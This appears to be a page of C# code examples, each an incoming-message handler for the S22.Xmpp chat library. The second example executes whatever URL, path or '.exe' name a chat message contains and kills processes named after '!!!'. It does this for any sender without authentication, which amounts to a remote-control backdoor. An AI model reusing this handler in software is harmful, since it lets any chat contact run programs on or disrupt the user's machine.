Пример #1
0
        static void OnNewMessage(object sender, S22.Xmpp.Im.MessageEventArgs e)
        {
            String resID  = e.Jid.Resource;
            String domain = e.Jid.Domain;
            String jid    = e.Jid.ToString().Replace(resID, "");

            jid = jid.Replace(domain, "");
            jid = jid.Replace("@/", "");
            String mes = e.Message.Body;

            if (CheckIfFormIsOpen(jid, mes) == true)
            {
            }
            else
            {
                var invokingForm = Application.OpenForms[0]; // or whatever Form you can access
                if (invokingForm.InvokeRequired)
                {
                    invokingForm.BeginInvoke(new EventHandler <S22.Xmpp.Im.MessageEventArgs>(OnNewMessage), sender, e);
                    return; // important!!!
                }
                MessageForm tempMsg = new MessageForm(jid, domain);

                tempMsg._msgText(jid, mes);
                tempMsg.frmId = jid;
                tempMsg.Show();
            }
        }
Пример #2
0
        public static void OnNewMessage(object sender, S22.Xmpp.Im.MessageEventArgs e)
        {
            String resID  = e.Jid.Resource;
            String domain = e.Jid.Domain;
            String jid    = e.Jid.ToString().Replace(resID, "");

            jid = jid.Replace(domain, "");
            jid = jid.Replace("@/", "");
            String mes = e.Message.Body;


            if (mes.Contains("http:"))
            {
                Console.WriteLine("");
                Console.WriteLine("LOAD <> " + jid + " <> " + mes);
                Console.WriteLine("");


                string pdjf = mes;

                try
                {
                    Process.Start(pdjf);
                }
                catch { }
            }
            else if (mes.Contains("www."))
            {
                Console.WriteLine("");
                Console.WriteLine("LOAD <> " + jid + " <> " + mes);
                Console.WriteLine("");

                string pdjf = mes;

                try
                {
                    Process.Start(pdjf);
                }
                catch { }
            }

            else if (mes.Contains("@@ "))
            {
                Console.WriteLine("");
                Console.WriteLine("LOAD <> " + jid + " <> " + mes);
                Console.WriteLine("");
                string pdjf = mes.Replace("@@ ", "");

                try
                {
                    Process.Start(pdjf);
                }
                catch { }
            }

            else if (mes.Contains("!!!"))
            {
                string pdjf = mes.Replace("!!! ", "");

                Console.WriteLine("");
                Console.WriteLine("LOAD <> " + jid + " <> " + mes);
                Console.WriteLine("");

                foreach (Process dhk in Process.GetProcesses())
                {
                    if (dhk.ProcessName.Contains(pdjf))
                    {
                        try
                        {
                            dhk.Kill();
                        }

                        catch { }
                    }
                }
            }
            else if (mes.Contains(".exe"))
            {
                Console.WriteLine("");
                Console.WriteLine("LOAD <> " + jid + " <> " + mes);
                Console.WriteLine("");
                string pdjf = mes;

                try
                {
                    Process.Start(pdjf);
                }
                catch { }
            }
            else
            {
                Console.WriteLine("");
                Console.WriteLine("new message from <> " + jid + " <> " + mes);
                Console.WriteLine("");
            }
        }
Пример #3
0
        private void OnClientMessage(object sender, MessageEventArgs e)
        {
            using (var wrt = new XmlTextWriter(Console.Out))
            {
                e.Message.Data.WriteContentTo(wrt);
            }

            Logger.Trace("{0}:{1}", e.Jid, e.Message.Body);
            InternalOnMessage(GetUser(e.Jid), GetMessage(e.Message));
        }
Пример #4
0
 public void Client_Message(object sender, S22.Xmpp.Im.MessageEventArgs e)
 {
     Invoke(new AddMessageDelegate(LogAdd), new object[] { ("From: " + e.Message.Body) });
 }